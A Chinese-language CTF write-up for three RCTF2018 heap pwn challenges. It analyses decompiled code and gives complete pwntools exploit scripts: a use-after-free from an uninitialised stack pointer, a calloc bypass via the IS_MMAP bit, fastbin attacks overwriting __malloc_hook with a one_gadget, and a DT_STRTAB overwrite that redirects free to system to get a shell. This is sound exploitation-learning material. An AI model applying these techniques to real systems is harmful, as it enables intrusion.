RCTF2018部分wp

 

RCTF2018

1.rnote3


选单程序,保护全开, 程序的漏洞点有以下两个:

edit函数:

    unsigned __int64 sub_102D()
    {
      signed int i; // [rsp+4h] [rbp-1Ch]
      __int64 addr; // [rsp+8h] [rbp-18h]
      char s1; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      addr = 0LL;
      printf("please input note title: ");
      getinput((__int64)&s1, 0x20u);                // stack over flow
      for ( i = 0; i <= 31; ++i )
      {
        if ( heaplst[i] && !strncmp(&s1, (const char *)heaplst[i], 8uLL) )
        {
          addr = heaplst[i];
          break;
        }
      }
      if ( addr )
      {
        printf("please input new content: ");
        getinput(*(_QWORD *)(addr + 16), *(_QWORD *)(addr + 8));
      }
      else
      {
        puts("not a valid title");
      }
      return __readfsqword(0x28u) ^ v4;
    }

有个栈溢出,但是没什么卵用 delelte函数:

    unsigned __int64 delete()
    {
      signed int i; // [rsp+4h] [rbp-1Ch]
      void **ptr; // [rsp+8h] [rbp-18h]
      char s1; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      printf("please input note title: ");
      getinput((__int64)&s1, 8u);
      for ( i = 0; i <= 31; ++i )
      {
        if ( heaplst[i] && !strncmp(&s1, (const char *)heaplst[i], 8uLL) )
        {
          ptr = (void **)heaplst[i];
          break;
        }
      }
      if ( ptr )
      {
        free(ptr[2]);
        free(ptr);                                  // can leak addr
        heaplst[i] = 0LL;
      }
      else
      {
        puts("not a valid title");
      }
      return __readfsqword(0x28u) ^ v4;
    }

一个是指针没有真正意义上的清零,然后是栈的指针没有初始化 我们看一下delete函数的栈结构:

    -0000000000000020                 db ? ; undefined
    -000000000000001F                 db ? ; undefined
    -000000000000001E                 db ? ; undefined
    -000000000000001D                 db ? ; undefined
    -000000000000001C var_1C          dd ?
    -0000000000000018 ptr             dq ?                    ; offset
    -0000000000000010 s1              db ?
    -000000000000000F                 db ? ; undefined
    -000000000000000E                 db ? ; undefined
    -000000000000000D                 db ? ; undefined
    -000000000000000C                 db ? ; undefined
    -000000000000000B                 db ? ; undefined
    -000000000000000A                 db ? ; undefined
    -0000000000000009                 db ? ; undefined
    -0000000000000008 var_8           dq ?
    +0000000000000000  s              db 8 dup(?)
    +0000000000000008  r              db 8 dup(?)

下面的是show函数栈结构

    -0000000000000020
    -0000000000000020                 db ? ; undefined
    -000000000000001F                 db ? ; undefined
    -000000000000001E                 db ? ; undefined
    -000000000000001D                 db ? ; undefined
    -000000000000001C var_1C          dd ?
    -0000000000000018 addr            dq ?
    -0000000000000010 s1              db ?
    -000000000000000F                 db ? ; undefined
    -000000000000000E                 db ? ; undefined
    -000000000000000D                 db ? ; undefined
    -000000000000000C                 db ? ; undefined
    -000000000000000B                 db ? ; undefined
    -000000000000000A                 db ? ; undefined
    -0000000000000009                 db ? ; undefined
    -0000000000000008 var_8           dq ?
    +0000000000000000  s              db 8 dup(?)
    +0000000000000008  r              db 8 dup(?)

是一样的, 这样我们先查看一个我们想看的指针然后delete一个不存在的名字,这样delete函数此时获得的下标是31,然而指针并没有更新,这样就可以构造uaf 剩下的就比较简单了,不做赘述

    from pwn import *
    context.log_level = 'debug'
    io = process('./RNote3')
    elf = ELF('RNote3')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(name,content,size):
    	io.sendline('1')
    	io.recvuntil('title:')
    	io.sendline(name)
    	io.recvuntil('size:')
    	io.sendline(str(size))
    	io.recvuntil('content:')
    	io.sendline(content)
    
    def show(name):
    	io.sendline('2')
    	io.recvuntil('please input note title:')
    	io.sendline(name)
    def delete(name):
    	io.sendline('4')
    	io.recvuntil('title:')
    	io.sendline(name)
    def edit(name,content):
    	io.sendline('3')
    	io.recvuntil('title:')
    	io.sendline(name)
    
    	io.recvuntil('content:')
    	io.sendline(content)
    
    io.recvuntil('Exit')
    add('secunda','A'*0x5f,0x60)
    add('nirn','B'*0x7f,0x80)
    add('alex','C'*0x7f,0x80)
    show('nirn')
    io.recvuntil('BBBB\n')
    
    delete('nnn')
    show('\n')
    io.recvuntil('content: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    print hex(leak)
    libc_base = leak - libc.symbols['__malloc_hook'] - 88 - 0x10
    mlh = libc_base + libc.symbols['__malloc_hook']
    one = 0xe9415 + libc_base
    
    log.success(hex(libc_base))
    log.success(hex(mlh))
    log.success(hex(one))
    add('aleX','AAA',0x80)
    show('secunda')
    io.recv()
    delete('nnn')
    edit('',p64(mlh - 0x23) + 'AAAAA')
    add('sss','A'*0x60,0x60)
    add('shell','aaa' + p64(one),0x60)
    gdb.attach(io)
    raw_input()
    delete('aleX')
    delete('')
    io.interactive()

2.stringer


题目本身没什么难度 唯一的比较难的考察点是利用IS_MMAP位来绕过calloc calloc 会清空原来chunk上的内容,libc 2.23 设置 is_mmap bit 可以绕过 而后就没什么难得点了 free之后没有清零,指针可用 edit函数下标检查不严格,可以改下一个堆的堆头 思路就是绕过calloc然后泄露地址 而后就是比较常规的fastbinattack了 exp:

    from pwn import *
    context.log_level = 'debug'
    io = process('./stringer')
    elf = ELF('stringer')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(size,content):
    	io.recvuntil('choice:')
    	io.sendline('1')
    	io.recvuntil('length:')
    	io.sendline(str(size))
    	io.recvuntil('content:')
    	io.sendline(content)
    def edit(idx,i):
    	io.recvuntil('choice:')
    	io.sendline('3')
    	io.recvuntil('index:')
    	io.sendline(str(idx))
    	io.recvuntil('index:')
    	io.sendline(str(i))
    def delete(idx):
    	io.recvuntil('choice:')
    	io.sendline('4')
    	io.recvuntil('index:')
    	io.sendline(str(idx))
    
    add(0x18,'0'*0x18)
    add(0x80,'1'*0x80)
    add(0x80,'2'*0x80)
    delete(1)
    edit(0,0x18)
    edit(0,0x18)
    add(0x88,'3'*0x7+'\n')
    io.recvline()
    leak = u64(io.recvline(keepends=False)[:7].ljust(8,'\x00'))
    log.success(hex(leak))
    libc_base = leak - 0x58 - 0x10 - libc.symbols['__malloc_hook']
    log.success(hex(libc_base))
    mlh = libc_base + libc.symbols['__malloc_hook']
    log.success(hex(mlh))
    one = 0xe9415 + libc_base
    log.success(hex(one))
    
    add(0x60,p64(mlh - 0x23))#4
    add(0x60,p64(mlh - 0x23))#5
    delete(4)
    edit(3,0x88)
    edit(3,0x88)
    delete(5)
    delete(4)
    add(0x60,p64(mlh - 0x23))#6
    add(0x60,p64(mlh - 0x23))#7
    add(0x60,'A'*0x3 +p64(one))#8
    add(0x60,'A'*0x3 + p64(0)*2+p64(one))
    
    delete(7)
    delete(7)
    
    io.interactive()

3.rnote4

堆溢出可以控制结构体指针,任意内存读写 但是这个题目没给leak的机会,pie也没开 还以为要爆破之类的。。看了别人的wp才知道可以在dlresolve做文章 思路就是把DT_STRTAB改成一个bss段的地址,之后在bss段上把free函数改成system,然后free一个binsh就完事了(第一次调用)

    from pwn import *
    context.log_level = 'debug'
    
    elf = ELF('RNote4')
    io = process('./RNote4')
    def add(size,content):
    	io.send('\x01')
    	io.send(chr(size))
    	io.send(content)
    def edit(idx,size,content):
    	io.send('\x02')
    	io.send(chr(idx))
    	io.send(chr(size))
    	io.send(content)
    def delete(idx):
    	io.send('\x03')
    	io.send(chr(idx))
    DT_STRTAB = 0x601eb0
    target = 0x602100
    add(0x18,'A'*0x18)
    add(0x18,'B'*0x18)
    add(0x8,'/bin/sh\x00')
    edit(0,0x30,'A'*0x18 + p64(0x21) + p64(0x18) + p64(DT_STRTAB))
    edit(1,0x8,p64(target))
    edit(0,0x30,'A'*0x18 + p64(0x21) + p64(0x18) + p64(target))
    payload = 0x5f * 'A' + 'system'
    edit(1,len(payload),payload)
    delete(2)
    io.interactive()

还有一个坑就是它这个程序很简陋。。发送的字符没有处理。。。需要注意一下。。